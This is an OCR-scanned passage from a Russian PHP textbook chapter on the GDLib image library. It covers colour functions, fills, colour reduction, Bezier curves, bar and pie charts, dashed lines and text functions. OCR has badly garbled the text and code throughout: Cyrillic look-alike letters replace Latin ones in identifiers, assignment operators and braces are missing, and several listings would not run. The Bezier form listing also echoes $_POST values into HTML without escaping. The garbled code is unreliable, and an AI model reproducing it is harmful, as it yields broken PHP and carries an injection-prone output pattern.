Глава 28. Динамические изображения. Библиотека GDLib 1101 Таблица 28.8 (продолже ние) Фун кция Оп исание imagecolorresolve ($im- Ищет на изображении RВG-цвет, заданный ком- age , $red , $green, понентами $red (красный), $green (зеленый) и $Ыие ) $Ыие (синий), и в случае успеха возвращает де- скриптор цвета . Если цвет не найден, возвраща- ется дескриптор ближайшего цвета ima gecolorresolvea lpha Функция аналогична imagecolorresolve () , од- ($ima ge , $red, $green, нако помимо цветов учитывается степень п ро- $Ыие , $alpha ) зрачности $alpha imagecolorexact ($im- И щет на изображении RGВ-цвет, заданный ком- age , $red, $green , понента ми $red (красный), $green (зеленый) и $Ыие ) $Ыие (синий), И в сл учае успеха возвращает де- скриптор цвета . Если цвет не найден , возвраща- ется -1 imagecolorexactalpha Функция аналогична ima gecolorexact ( ) , од нако ($image , $red, $green , помимо цветов учитывается степень прозрачно- $Ыие , $alpha ) сти $alpha imagecolorclosest ($im- Ищет на изображении RGВ-цвет, заданный ко м- age , $red, $green , понента ми $red (красный), $green (зеленый) и $Ыие ) $Ыие (синий), и возвращает дескриптор наибо- лее бл изкого цвета imagecolorclosestalpha Функция аналогична imag ecolorclosest ( ) , од- ($irnage , $red, $green, нако помимо цветов уч иты вается степень про- $blue , $alpha ) зрачности $alpha ima gecolorclosesthwb Возвращает дескриптор градации серого для ($irna ge , $red, $green , цвета , заданного ко мпонентами $red (красный), $Ыие ) $green (зеленый) и $blue (синий) ima gecolorset ($ima ge , Функция заменяет на изображении цвет с деск- $index, $red, $green , риптором $ index новым цветом, заданным ком- $blue ) понента ми $red (красный), $green (зеленый) и $Ыие (синий) imagecolortransparent Области изображения, прорисованные цветом ($image [ , $color] ) $color, после применения этой функции станут прозрачными irnagecolorstotal Возвращает кол ичество цвето в в цветовой па- ($irna ge ) литре изображения, если изображение созда но функций imagecreate () , и О, если изображение полноцветное
1102 Часть 11. Создание сайта Та блица 28.8 (окончание) Функция Описание imagecolorma tch ($im- Сравнивает два изображения: полноцветное age1, $image2 ) изображение $ima ge 1 и изображение с ограни- ченной палитрой цветов $image2. Если изобра- же ния признаются похожими, возвращается true, В проти вном случае - fal:; ; e imagepalettecopy ($de s- Ко пирует цветовую палитру из изображения- tinat ion, $source ) источника $source в изображение-приемник $destination imagegamm acorrect ($im- Осуществляет га мма-коррекцию изображения age , $ input gamma , $out- put gamma ) 28.5.1 . Заливка изображения цветом Создадим скрипт img.php (листи нг 28.1 2), который принимает три ОЕТ­ параметра: red, green и Ыие, соответствующих красному, зеленому и синему цветам в RGB-схеме. В качестве результата скрипт будет выводить квадрат размером 100 на 100 пикселов задан ного цвета. ЗА МЕЧА НИЕ В работе скрипта из листи нга 28.12 для заливки изображения используется функция image fill (), кото рая более подробно рассматривается в разде­ ле 28. 6. Листинг 28.12. ВЫВОД цветного I<вэдрата <?php // Создаем пус тое изображение размером // 100х 100 пикселов $ima ge = imagecreatetruecolor (100, 100 ) ; if ($ima ge ) // Осуществляем проверку корректности // компонентов RВG-цвета , переданных через // GЕТ-параметры
Глава 28. Динамические из ображения. Библиотека GDLib ?> if($_GET[,red'] < О) $_GET[,red'] О; if($_GET[,red'] > 255) $_GET[,red'] 255; if($_GET[,green' ] < О) $_GET['green' ] О; if($_GET ['green ' ] > 255) $_GET [ , green ' ] 255; if($_GET['Ыие'] < О) $_GET['Ыие'] О; if($_GET ['Ыие '] > 255) $_GET ['Ыие ' J 255; // Получаем дескриптор цвета $color = image coloral locate ($image , $_GET[,red'] , $_GET[,green'] , $_GET[,blие']); // Залив аем выбранным цветом изображение imagefill ($ima ge , О, О, $color) ; // Отправляем НТТР-заголовок Content-type hеаdеr ("С опtепt-tуре : image/gif") ; // Выводим изображение в браузер imagegi f($image ); // Уничтожаем изображение в памяти imagede stroy ($image) ; На рис. 28.2 демонстрируется работа скрипта из листи нга 28. 12. Рис. 28.2. ВЫВОД цветного квадрата в окно б раузера 1103
1104 Часть 11. Создание сайта в листинге 28. 13 демонстрируется вывод трех цветн ых квадрато в: красного, зеленого и синего. Листинг 28. 13. ВЫВОД трех цветных квадратов на одной странице <irng src=irng .php ?red=127 & green=O &blue=O> <irng src=irng .php ?red=O&green=127 &blue=O> <irng src=irng . php?red=O &green=O &blue=127> Результат интерпретации НТМL-кода из листи нга 28. 13 демонстрируется н а рис. 28.3 . Рис. 28.3. Вывод трех цветн ых квадратов 28.5.2. П олучени е цвета заданного п иксела Для получения дескриптора пиксела в зад анной точке изображения удобно воспол ьзоваться функцией irnagecolorat (), далее ко мпоненты RG B-схеМbI можно получить при помощи функции irnagecolors forindex () (лис­ тинг 28. 14). Листинг 28.14. Получение цвета зада нного пиксела <?php // Создаем изобр�ение на основе суще ствующе го $irnage = irnagecreatefrornj peg ("P ICT007 3.JPG " ); if ($irnage )
Глава 28. Динамические из ображен ия. библиотека GDLib ?> // Получаем дескриптор цвета для точки //скоординатамих=100,У =100 $co1or = irnage colorat ($irnage , 100, 100) ; // Получаем компоненты цвета в виде ма ссива $arr = irnagеСОlоrS fоriпdех ($irnagе , $color) ; echo "<pre>" ; print_r ($arr) ; echo "</pre>" ; // Уничтожаем изображение в памяти irna gedestroy ($irnage ) ; 1105 Результат работы скрипта из листи нга 28.14 может выглядеть следующим образом: Array [red] => 99 [grееп ] => 111 [Ыие] => 39 [alpha ] => О 28.5.3. Уменьшение количества цветов в изображении Часто дл я оптимизации изображе НI1Я или для достижения плакатного эффек­ та коли чество цвето в в гам ме сокращают. В библиотеке GDLib для этого предназначена функция imagetruecolortopalette () . Разработаем скрипт img.php, который будет принимать единственный GЕТ-параметр color, рав­ ный кол ичеству цветов в ко нечном изображении (листинг 28. 1 5). Листинr 28. 15. Умен ьшение количества цветов в изображении <?php // Создаем изображение на основе суще ств�още го
1106 Часть 11. Создание сайта ?> $irnage = irnagecreate frornj peg ("irnage . jpg" ) ; if ($irnage ) // Проверяем корректность параметра color if ($_GET ['color' ] < 1) $_GET ['color'] = 1; if ( $_GET ['color '] > 256) $_GET ['c olor' ] = 256; // Ум еньшаем количество цветов irnagetruecolortopalette ($irnage , true , $_GET ['c olor' ]); // Отправляем НТТ Р-заголовок Content -type hеаdеr ("Сопtепt-tуре : irnage /gif" ); // Выводим изображение в браузер irnagegif ($irnag e) ; // Уничтожаем изображение в памяти irnagedestroy ($irnage ) ; Для демонстрации работы скрипта из листи нга 28. 15 разработае м скрипт il1- dex.pI1p, который наряду с исходным изображением выводит изображе ние, содержащее 20, 1 О и 2 цвета (листинг 28. 16). Рис. 28.4. В ЫВОД изображений с разным кол ичеством цветов
Глава 28. Динамические изображения. библиотека GDLib Ли-стинг 28.16 . Вывод изображен ий с разным количеством цветов <img src=irnage .jpg> <img src=img .php ?color=2 0> <img src=img .php ?color=10> <img src=img .php ?color=2> 1107 Резул ьтат интерпретации НТМL-кода из листи нга 28. 16 представлен на рис. 28.4. 28.5.4 . Замена одного цвета другим Графические пакеты часто предоставляют пользователю возможность заме­ ны одного цвета другим. Зачастую перед это й операцией удобно со кратить количество цветов в изображе нии при помощи функции imagetruecolorto­ palette (), которая делает этот эффект более заметным. В листи нге 28. 17 приводится скрипт, который уменьшает коли чество цветов в фото графии до 1 О, затем выбирает цвет пиксела, отстоящего от левого верхнего угла на 10 пикселов по оси абсцисс Х и по оси ординат У, и заменяет этот цвет на черный. Листинг 28.17. Замена цвета <?php ?> // Создаем изображение на основе суще ствующе го $irnage = irnagecreatefromj peg ("image.jpg ") ; if ($ima ge ) // Умень шаем количе ство цветов imagetruecolortopalette ($image , true , 10) ; // Отправляем НТТ Р-заголовок Content- type hеаdеr ("Сопtепt -tуре : irnage/gif") ; // Выводим изображение в браузер imagegif {$irnage) ; // Уничтожаем изображение в памяти irnagedestroy ($irnage) ;
1108 ..,. �'I. . �Irfr � '� �� . �;JI'J, ':;��:' Часть 11. Создание са йта Рис. 28.5 . Замена цвета на изображении На рис. 28.5 демонстрируется три изображения : оригинал; изображение, ко­ личество цвето в в кото ром уменьшено до 1 О; и изображение, сформирован­ ное скрипто м из листинга 28. 17. 28.6. Фун кции рисования Да нная группа функций позволяет рисовать точки, линии, геометрические фигуры. В табл . 28.9 представл ен список функций дан ной группы. ЗА МЕЧА НИЕ Ка к и большинство функций библиотеки GDLib, функци и да нной группы принимают в качестве первого параметра дескриптор открытого изображе­ ния $image. Последний параметр $color всех функций данного раздела предста вляет собой дескри птор цвета , работа с которым подробно обсуж­ дается в разделе 28.5. Таблица 28. 9. Функции рисования Фун кция Результат ima gesetpixel ($im- Пиксел в точке с ко ордината ми $х и $у age, $х, $у, $color) imageline ($image , Линия от точки с координатами $xl и $yl до точки $xl, $yl, $х2, $у2, С координата ми $х2 и $у2 $color )
Гл ава 28. Динамические изображения. Биб.i1Uоmека GDLib 1109 Таблuца 28.9 (продолжение) Фун кция Результат irnageda5hedl ine Штрихпунктирная линия от точки с координатами ($irnage , $ хl , $уl, $хl И $уl до точки С координатами $х2 и $у2 $х2, $у2, $color) irnagerectangle ($irn- Прямоугольник с левым верхним углом в точке с age, $хl, $уl, $х2, координатами $хl и $уl и правым нижним углом в $у2 , $color ) точ ке с координатами $х2 и $у2 irnagepolygon ($im- Многоугол ьник с координатами (х, У) вершин, пред- age , $point5 , ставленными в массиве точек $point5 $nurn_ point5, $color) imagearc ($ima ge , Дуга эллипса. Параметры $сх и $су задают коорди- $сх, $су, $w, $h, наты элл ипса п о оси абсцисс и ординат соответст- $5, $е, $color) венно. Параметры $w и $h задают ширину и высоту эллипса, а $5 и $е - начальный и ко нечный углы сектора в градусах (нулевая позиция соответствует 3 часам) ima geellip5e ( $ irn- Эллипс. Центр эллипса находится в точке с коорди- age , $сх, $су, $w, натами $сх и $су. П араметры $w и $h задают шири- $h, $color ) ну И высоту элл ипса, а $5 и $е - начальный и ко- нечный углы секто ра в градусах (нулевая позиция соответствует 3 часам) imagefilledrectangle Закрашенный прямоугольник с левым верхним уг- ($image , $хl , $уl, лом в точке с коорди натами $хl и $уl и правым $х2 , $у2, $color ) нижн им углом в точке с координатами $х2 и $у2 imagefilledp olygon Закрашенный многоугольник, с кол ичеством вершин ($ima ge , $point5 , $nurn_ point5 с ко ординатами (х, У ) , содержащимися $ nurn_point5 , $color ) В массиве точек $point5 irnagefilledarc ($im- Сектор элл ипса с заливкой . Параметры $сх и $су age , $сх, $су, $w, задают координаты эллипса по оси абсцисс и орди- $h, $5, $е, $color , нат соответств енно, $w и $h - ширину И высоту эл- $5tyle) липса, $5 и $е - начальный и конечный углы секто- ра в градусах (нулевая позиция соответствует 3 часам). Параметр $5tyle определяет сти ль фор- мирования сектора и может принимать следующие константы : IMG_ARC _ PIE - соединяет начальную и конечную точки на окружности кривой линией, повто ряющей окружность ;
1110 Часть 11. Создание сайта Табл uца 28.9 (окончание) Фун кция Результат IMG_ARC _CHORD - соединяет начальную и конечную точки на окружности прямой линией; IMG_ARC_NOFILL - рисуемый сектор не закрашива- ется ; IMG ARC EDGED - начальная и ко нечная точки со- - единяются с центром окружности . Константы могут объединяться при помощи побито- вого ИЛИ, однако IMG_ARC _ PIE И IMG_ARC_CHORD являются взаимоисключающими и не могут приме- няться совместно irna gefilledellipse Закрашенный элл ипс с центром в точке с ко ордина- ($irnage , $сх, $су , та ми $сх и $су, шириной $w и высотой $Ь $w, $Ь, $color) irna ge fill ($irna ge , Заливка цветом $color области , ограниченной пик- $х , $у, $color ) селами, цвет кото рых не совпадает с цветом точки с координата ми $х и $у irna gefilltoborde r Заливка цветом $color области , ограниченной пик- ($irna ge , $х, $у, селами, цвет кото рых не совпадает с указанным в $border, $color) дескрипторе $border. border - идентификатор цвета контура 28.6.1 . Кривая Безье Кривая Безье - это сглаже нная кривая, построенная по координатам (х, У) четы рех точек при помощи системы параметр ических уравнений. Система уравнений выглядит следующим образом: X(t)=(1-t)ЗХа +3t(1-t)2Х, +3t2(1-t)X2 +tЗхз У(t)=(1-t)ЗУа +3t(1-t)21';+3t2(1-t)Y2 +tЗУз Параметр t принимает произвольное значение от О до 1, что позволяет полу­ чить координаты любой то чки (Х, У) сглаже нной кривой. Создадим небольшое Web-приложение, запраши вающее у пользователя че­ тыре точки с координатами Х" У" Х20 У2, Хз, Уз, Х4, У4 , И отображающее гра­ фик сглаженной кривой с коли чеством точек, равным 1000 (л исти нг 28. 1 8).
Гл ава 28. Динамические изображения. Библиотека GDLib Листинг 28.18. Построение сглаже нной КРИВОЙ <?php if( !ernpty ($_POST) ) { $х1 $_POST[,х1']; $х2 $ POST[,х2']; $хЗ $_POST[,хЗ']; $х4 $_POST [ 'х4']; $у1 $_POST[,у1']; $у2 $_POST[,у2']; $уЗ $_POST[,уЗ']; $у4 $ POST['y4']; if (!ernp ty ($x1 ) && !ernpty ($y1) && !ernpt y ($x2 ) && !ernpty ($y2) && !еrnр tу ($хЗ ) && !еrnр tу ($уЗ) && !ernpty ($x4 ) && !ernpty ($y4) ) for ($t 0.0; $t <= 1.0; $t += 0.001) } $х[]=(1-$t)*(1-$t)*(1-$t)*$х1+ З*$t*(1-$t)*(1-$t)*$х2+ З*$t*$t*(1-$t)*$хЗ+ $t*$t*$t*$х4; $у[]=(1-$t)*(1-$t)*(1-$t)*$у1+ З*$t*(1-$t)*(1-$t)*$у2+ З*$t*$t*(1-$t)*$уЗ+ $t*$t*$t*$у4; // Определяем максимальные и минимальные // значения по осям .Х и У $rnах х = $rnin_x = $х[О]; $rnaх_у = $rnin_y = $у[О]; for($i= О; $i< count($x); $i++) if($rnах_х < $x[$i]) $rnaх_х = $x[$i]; if($rnin_x > $x[$i]) $rnin_x = $x[$i]; if($rnaх_у < $y[$i] ) $rnах_у = $y[$i] ; if($rnin_у > $y[$i] ) $rnin_y = $y[$i] ; 1111
1112 // Ширина изображения $width = 100 ; // Высота изображения $height = 100 ; // Создаем пустое изображение с 10-пиксельными // отступами по кра ям Ча сть 11. Создание сайта $img = irnagecreatetruecolor ( $width + 20, $height + 20) ; // Заливаем фон белым цветом $white = irnagecolorallocate ( $ img , 255, 255, 255) ; irnagefill ($img , О, О, $white ); // Черный цвет для линии $black = imagecolorallocate ($img , О, О, О) ; / / В цикле отрисовываем линию for($i= О; $i< count($x) - 1; $i++) // Масштабируем координаты $х1 10 + intval (($x [$i] - $min_x) *$width/ ( $max_x - $min_x) ); $yl 10 + intval (($max_y - $y [$i] ) *$height/ ($rnax_y - $min_y ) ); $х2 10 + intval (($x [$i + 1] - $min_x) *$width/ ( $max_x - $min_x) ); $у2 10 + intval (($max_y - $y[$i + 1] )*$height/($rnax_y - $min_y )); / / Рисуем линию irnagel ine ($img , $х1 , $у1 , $х2 , $у2, $black) ; // Вычисляем координаты исходных точек $х1 10 + intval (($ POST ['x 1'] - $miп_х) *$width/ ( $mах_х - $miп_х) ); $у1 10 + iпtvаl (($mах_у - $_POST ['y 1'])*$height/ ($rnax_y - $miп_у) ); $х2 10 + iпtvаl (($_РОSТ ['х2'] - $miп_х) *$width/ ($mах_х - $miп_х) ) ; $у2 10 + iпtvаl (($rnaх_у - $_POST ['y2'])*$height / ($rnax_y - $miп_у) ); $х3 10 + iпtvа l (($_РОSТ ['х 3'] - $miп_х) *$width/ ($rna х_х - $miп_х) ) ; $у3 10 + iпtvа l (($rnaх_у - $_POST ['y3']) *$height/ ( $max_y - $miп_у) ); $х4 10 + iпtvа l (($_РОSТ ['х 4'] - $miП_Х) *$width/ ( $rnaх_х - $miп_х) ); $у4 10 + iпtvа l (($rnaх_у $_POST ['y4'])*$height/ ($rnax_y - $min_y) ); // Отрисовываем точки irnage filledellipse ($img , $х1 , $у1 , 7, 7, $black) ; irnage filledellipse ($img , $х2 , $у2, 7, 7, $black) ; image filledellipse ($img , $х3 , $у3 , 7, 7, $black) ; irnage filledellipse ($img , $х4 , $у4 , 7, 7, $black) ;
Гл ава 28. Динамические изображения. Библиотека GDLib ?> // Выводим изображение в браузер hеаdеr ('Сопtепt-tуре : image / jpe g' ); irnagej peg ($img ) ; exit () ; <table> <forrn rnethod=post> <tr align= center> <td>Координата (xl , yl ) </td> <td><input type=text narne=xl size=3 <td><input type=text narne=yl sizе=З </tr> <tr align= center> <td>Координата (х2, y2 ) </td> <td><input type=text narne=x2 size=3 <td><input type=text narne=y2 size=3 </tr> <tr align=center> <td>Координата (х3 , y3 ) </td> <td><input type=text narne=x3 size=3 <td><input type=text narne=y3 size=3 </tr> <tr align= center> <td>Координата (х4 , y4 ) </td> <td><input type=text narne=x4 size=3 <td><input type=text narne=y4 size=3 </tr> <tr> <td></td> value= "<?= value= "<?= value= "<?= value= "<?= value= "<?= value= "<?= value= "<?= value= "<?= $ POST [ 'xl'] - $_POST[,yl'] $ POST ['х 2'] - $ POST [ 'у2'] - $ POST ['х 3'] - $_POST[,у3'] $ POST ['х 4'] - $_POST[,у4 '] <td cols=2><input type=subrnit vаluе= " Сгладить "></td> </tr> </forrn> </table> 1113 ?>"></td> ?>">< / td> ?>"></td> ?>">< /td> ?>"></td> ?>">< /td> ?>"></td> ?>"></td> При первой загрузке скрипта из листинга 28. 18 выводится НТМL-форма, по­ зволяющая задать координаты четырех точек (рис. 28.6).
1114 Координата (x l, yl) \1_ . ....... � Координата (х2, у2) '�m ..! Координата (хЗ , уЗ ) I?i Координата (х4, у4) Н=:J "" r: =с ""=' �л = а "" � � ""' и "" Г "' 6' '' ''''''' 1 Часть 1/. Создание сайта Рис. 28.6 . Ввод коорди нат ч еты рех опорных точ ек После того как пользователь заполняет поля и нажимает кнопку Сгладить , данные отправляются обработчику, который выпол няет сглаживание по при­ веденным выше формулам, отрисовывает точки при помощи функции image filledellipse ( ) и формирует линию при помощи функции image line ( ) . Резул ьтат работы приложения с параметрами, приведенными на рис. 28.6, представлен на рис. 28.7 . Рис. 28.7 . Кр ивая Б езье, проведенная через ч еты ре точки
Глава 28. Динамические из обр ажения. Библиотека GDLib 28.6.2. П остроение гисто гра ммы средствами GDLib 1115 Пусть значения столбцов задаются в про центах (от О до 100) в массиве $ rows (л истинг 28: 19). Листинг 28. 19. Процентное задание столбцов в массиве $rows <?php ?> // Значение столбцов от О до 100 $rows = array (80, 75, 53, 32, 20) ; в листинге 28.20 приводится пример построения гистограм мы средствам и библ иотеки GDLib. Листинг 28.20 . Построение гистогра ммы средства ми бибnиотеки GDLib <?php // Значение столбцов от О до 100 $rows = array (80, 75, 53, 32, 20) ; // Ширина изображения $width = 200; // Высота изображения $height = 200; // Ширина одного столбца $row_width = 3 0; // Ширина интервала между столбцами $row_interva1 = 5; // Создаем пустое изображение $img = irnagecreatetrueco1or ( $width , $height) ; // Заливаем изображение белым цветом $white = irnagecolorallocate ($img , 255 , 255 , 255) ; irnagefill ($img , О, О, $white ); for($i = О, $у1 = $height, $х1 О; $i < count ($rows); $i++)
1116 Часть 11. Создание сайта ?> // Формируем случайный цвет для каждого из столбца $color = imagecolorallocate ( $irng, rand (O, 255) , rand (O, 255 ) , rand (O, 255) ); // Нормирование высоты столбца $у2 = $уl - $rows [$iJ *$height/l00; // определение второй координаты столбца $х2 = $хl + $row_width ; // Отрисовываем столбец image filledrectangle ($irng , $хl , $уl , $х2 , $у2, $color) ; // Между столбцами создаем интервал в $row_i nterval пикселов $хl = $х2 + $row_interval ; // Выв одим изображение в браузер , в форма те GIF heade r ("Content-type : irnage /gif") ; irnagegif ($irng ) ; Рис. 28.8. Гистограм ма Как видно из листинга 28.20, скрипт испол ьзует значения элементо в массива $rows как процентн ые величины для формирования в цикле for гистограм­ мы. На каждой итерации цикла формируется случайный цвет, который ис-
Глава 28. Динамические из ображения. Библиотека GDLib 1117 пользуется для отрисовки очередного столбца гисто граммы. Стол бец форми­ руется при помощи функции image filledrectang1e (), которая рисует за­ полненный прямоугольник. На рис. 28.8 приводится резул ьтат работы скрип­ та из листи нга 28.20. 28.6.3 . Построение круговой диаграммы средствами GDLib Пусть доли секторов заданы масс ивом $row из листи нга 28. ] 9. При построе­ нии круговой диаграм мы следует помнить, что в круге 360 градусов, и значе­ ния столбцов массива $rows следует нормировать таким образом, чтобы их сум ма равнялась 360 градусам . В листинге 28.2 ] приводится возможн ый ва­ риант решения задачи создания круговой диаграммы. Листи нг 28.21 . Построение круговой диаграммы <?php // Значения столбцов от О до 100 $rows = array (80, 75, 53, 32 , 20) ; // Нормируем значения ма ссива $rows // таким образом, чтобы их сум м а // составляла 360 градусов $summ = array_surn ($rows) ; for ($i = О; $i < count ($rows) ; $i++) $rows [$i] = iпtvа1 ($rоws [$i] *3БО/$sum m ); 1 1 Создаем пустое изображение , 11 размером 201х2 01 пикселов $img = imagecreatetrueco1or (201, 201) ; 11 Определение белого цвета на изображении $white = image co1ora11ocate ($img , 255, 255 , 255) ; imagefill ($img , О, О, $white ); 11 Переменные $су и $су определяют 11 центр круговой диаграм мы $сх=$су=100;
1118 Часть 11. Создание сайта ?> // Переменные $w и $h определяют // ширину и высоту диаграм мы $w=$h=200; $start = О; foreach ($rows as $value ) // Формируем случайный цвет // для каждо го сектора $color imagecolorallocate ($img , rапd (О, 255) , rand (0, 255) , rand (O, 255) ); // Определяем конечный угол сектора $angle_sector = $start + $value ; // Отрисовываем сектор imag efilledarc ($img , $сх, $су, $w, $h, $start , $angle_sector, $color, "IMG_ARC_PIE 11 IMG_ARC_E DGE D" ) ; // Увеличиваем значение начального угла сектора $start + = $value ; // Вывод изображения в окно браузера heade r ("Content- type : image /gif") ; imagegif ($img ) ; Резул ьтат работы скрипта из листинга 28.2 1 представлен на рис. 28.9 . Рис. 28 .9. Круговая диаграмма
Гл ава 28. Динамические изображения. Библиотека GDLib 1119 28.7 . Функции настрой ки рисования Да нная группа функций позволяет настроить параметры рисования: кисти, тол щину линии и т. п . В табл . 28. 1 О представлен список функций дан ной группы. ЗАМЕЧАНИЕ Ка к и большинство функций библиотеки GDLib, функции данной группы принимают в качестве первого параметра дескриптор открытого изображе­ ния $irna ge. Табл uца 28. 10. Функц ии настройки рисования Фун кция Описание irnagealphablending Задает режи м учета прозрачности при накладыва- ($irna ge , $blendrnode ) нии од ного изображения на другое. Если параметр $blendrnode принимает значение fa lse, наклады- ваемое изображение полностью заменяет собой лежащее под ним изображение. Если параметр $blendrnode принимает значение true, то наклады- вание осуществляется с учетом прозрачности irna gesetthickn ess Устанавливает толщину $thickn ess линий при ри- ($irna ge , $thickness) совании (в пикселах) irna gesetstyle ( $irn- Устанавливает стиль $style, используемый для age , $style ) линий специального цвета IMG_COLOR_S TYLED (на- пример, в функциях irnage line (), irnagepolygon () и т. д .) . Параметр $style предста вляет собой мас- сив пикселов, определяющий стиль линии irna gesetbrush ( $irn- Устанавливает кисть , используемую для линий спе- age , $brush) циального цвета IMG_COLOR_STYLE DBRUSHED (на- пример, в фун кциях irnageline (), irnagepolygon () и т. п.). Параметр $brush представляет собой деск- риптор изображения irna gesettile ($irn- Устанавливает кисть $tile, используемую для age , $tile ) заливки областей специального цвета IMG_COLOR_T ILED. (например, в функциях irna ge fill (), irnagefillpolygon () и т. п.)
1120 Фун кция irna gelaye reffect ($irna ge , $effect ) irnageant ialias ($irn­ age, $оп) Часть ". Создание са йта Таблица 28. 10 (окончание) Описа ние Устанавливает фл аг смешивания для использова­ ния в эффектах наложения изображений. Параметр $effect может принимать следующие значения: IMG EFFECT RE PLACE - пиксел ы наклады ваемых изображениЙ заменяют собой существующие пик­ селы; IMG EFFECT AL PHABLEND - пикселы наклады вае­ МЫХ - ИЗОбражений заменяют собой существующие пиксел ы с учетом прозрачности ; IMG_EFFECT_NORМAL - да нный режи м эквивалентен режиму IMG_E FFECT_A LPНABLEND; IMG EFFECT OVERLAY - при использовании данно­ го режима белые пикселы изображения остаются белыми, черные - черными, а серые заменяются накладываемым изображением Если параметр $оп принимает значение true, в кл ючается сглажи вание 28.7.1. Пунктир н ая л иния Фу нкция irnagesetstyle () позволяет задать стиль линии, который будет ис­ пользоваться функциями библ иотеки GDLib, если вместо цвета будет пере­ дана константа IMG_COLOR_S TYLE D. В листинге 28.22 задается пунктирная ли­ ния крас ного цвета. Листинг 28.22. Пунктирная линия красного цвета <?php 11 Создаем пус тое изображение размером 11 100х100 пикселов $irnage = irnagecreatetruecolor (100, 100) ; if ($irnage ) 11 Определяем белый цвет $white = irnagecolorallocate ($irnage , 255, 255, 255) ;
Гл ава 28. Динамические изображения. Библиотека GDLib ?> // Определяем кр асный цвет $red = imagecolorallocate ($image , 255, О, О) ; // Заполняем изображение белым цв етом imag efill ($ima ge , О, О, $white ); // Задаем ма ссив из пяти красных и пяти белых пик�елов $style = array ($red, $red, $red, $red, $red, $white , $white , $white, $white , $white ); // Устанавливаем стиль линии imagesetstyle ($image , $style) ; / / Рисуем линию imageline ($image , О, О, 100, 100, IMG_COLOR_STYLED) ; // Отправляем НТТР-заголовок Content -type hеаdе r ("Сопtепt -tуре : image /gif") ; // Выводим изображение в браузер imagegif ($imag e) ; // Уничтожаем изображение в памяти imagede stroy ($image) ; 1121 Для того чтобы нарисовать пу нктирную линию, необходимо сформировать масс ив $style, каждый элемент которого соответствует отдел ьному пикселу. Резул ьтат работы скрипта из листи нга 28.22 представлен на рис. 28. 10. Рис. 28.10. Использование пунктирной линии
1122 Часть 11. Создание сайта 28.8. Функции ДЛЯ работы с текстом Дан ная группа функций позволяет размещать текст поверх изображения. В табл . 28. 1 1 представлен список функций да нной груп пы. Таблица 28. 11. Функции для работы с текстом Фун кция Описа ние imagefonthe ight Возвращает высоту символов шрифта с дескрипто- ($font ) ром $font Image fontwidth Возвращает ширину символов шрифта с дескри пто- ($font ) ром $font imageftbbox ($size, Вычисляет размеры прямоугольника, который огра- $angle , $font file, ничивает строку $text, набранную шрифтом - $text [, $ех - FreeType 2. Параметр $size определяет размер тек- trainfo ] ) ста в пикселах, $ang le - поворот в градусах против часовой стрел ки , $font_file - путь К шрифту , мас- сив $extrainfo содержит дополнител ьные пара- метры. В качестве резул ьтата функция возвращает массив из восьми элементов: О координата Х левого нижнего угла; О координата У левого нижнего угла; О координата Х правого нижн его угла; О координата У правого нижнего угла; О координата Х правого верхнего угла; О координата У правого верхнего угла; О координата Х левого верхнего угла; О координата У левого верхнего угла imagettfbbox ($image , Вычисляет размеры прямоугольника, кото рый огра- $size, $angle, $ х, ничивает строку $text, набранную шрифтом $у, $color, $font file, $text [, FreeType. Параметры и возвр�щаемые значения $extrainfo ] ) совпадают с функцией image ftbbox ( ) imagepsbbox ($text , Вычисляет размеры прямоугольника, который огра- $font , $size [, ничивает строку $text, набранную шрифтом $space [, $tight- PostScript Туре1 . ness [, $angle] ] ] )
Гл ава 28. Динамические изображения. Библиотека GDLib 1123 Фун кция irna gefttext ($irn­ age , $size, $angl � , $х, $у, $color, $font file , $text [, $extrainfo] ) irnagettftext ($irn­ age , $size, $angle, $х, $у, $color, $font file , $text ) irnagepstext ($irn­ age , $text , $font , $size, $foreground , $back­ ground , $х, $у [, $space [, $tight­ ness [, $angle [, $ап­ tialias_steps] ]]]) irnagepsloadfont ($filenarne ) irnage l oadfont ($file) Таблица 28. 11 (пр одолжение) О писа ние Параметр $size определяет размер текста в пиксе­ лах, $angle - поворот в градусах против часовой стрел ки , $ f опt - дескриптор шрифта, $tightness - межсимвольное расстояние, изме­ ряемое в тысячных долях дюйма, $ space - размер пробела, также измеряемый в тысячных долях дюй­ ма. В качестве резул ьтата функция возвращает мас­ сив из четырех элементов: CI координата Х левого нижнего угла; CI координата У левого нижнего угла; CI координата Х правого верхнего угла; CI координата У правого верхнего угла Выводит текст $text шрифтом FгeeType 2 (путь к шрифту определяется параметром $font_file) , цветом $color, размером $size и наклоном проти в часовой стрелки в $angle градусов в точке с коор­ дината ми $х и $у Выводит текст $text шрифто м FreeType. Параметры совпадают с функцией irnagefttext () Выводит текст $text шрифтом PostScгipt Туре1 . Па­ раметры совпадают с функциями irnagepsbbox () и irnagefttext ().Дополнительный параметр $antialias_s teps определяет кол ичество цветов, которые используются для сглаживания границ сим­ волов. Допусти мы значения 4 и 16. Значение 16 имеет смысл использовать тол ько для шрифтов большого размера (более 20 пикселов) Загружает шрифт в формате PostScгipt Туре1 из файла $filenarne . В случае успеха функция воз­ вращает дескриптор шрифта $font, который ис­ пользуется другими функциями этого семейства Загружает пользовательский растровый шрифт из файла $file. В случае успеха функция возвращает дескриптор шрифта , значение кото рого всегда больше 5 и поэто му не ко нфликтует со встроенными шрифта ми, дескрипторы которых лежат в диапазоне отОдо5
1124 Часть 11. Создание сайта Та блица 28.11 (окончание) Фун кция О писа ние imagepscopyfont Создает ко пию PostScгipt Туре 1 шрифта , загруже н- ($font index ) ного ранее функцией ima gepsloadfont (). При удачном копировании возвращается дескриптор ско- пированного шрифта . В проти вном случае возвра- щает false. Функция ко пирования шрифтов исполь- зуется для модификации шрифта без изменения оригинала , с помощью операций растяжения, сжа- тия , поворота , изменения кодировки и т. п . imageps freefont Освобождает память , занятую шрифто м с дескрип- ($font index ) тором $font index ima gepsencode font Загружает вектор кодировки из файла $encoding- ($font_index, $en- file И изменяет вектор кодировки PostScгipt Туре1 codingfile ) шрифта $font_index. Изменение векто ра кодировки необходимо при использовании любого нелати нско- го шрифта ima gepsextendfont Сжимает или растя гивает шрифт PostScгipt Туре1 с ($font_index , $ех- дескриптором $font_index на величину $extend tend ) ima gepsslant font Осуществляет наклон шрифта PostScгipt Туре1 с ( $font_index , дескрипто ром $font_index на величину $slant $slant ) imagechar ($ima ge , Выводит первый символ из строки $ с в го ризонтал ь- $font , $х, $у, $с, ном режи ме шрифтом с дескриптором $font цветом $color) $color в точке с координатами $х и $у imagecha rup ($im- Выводит символ $с в вертикальном режиме. Пара- age , $font , $х, $у, метры аналогичны функции imagechar ( ) $с, $color) imagestring ($im- Выводит строку $s В горизонтальном режи ме шриф- age , $font , $х, $у, том с дескриптором $font цветом $color в точке с $s, $color) координата ми $х и 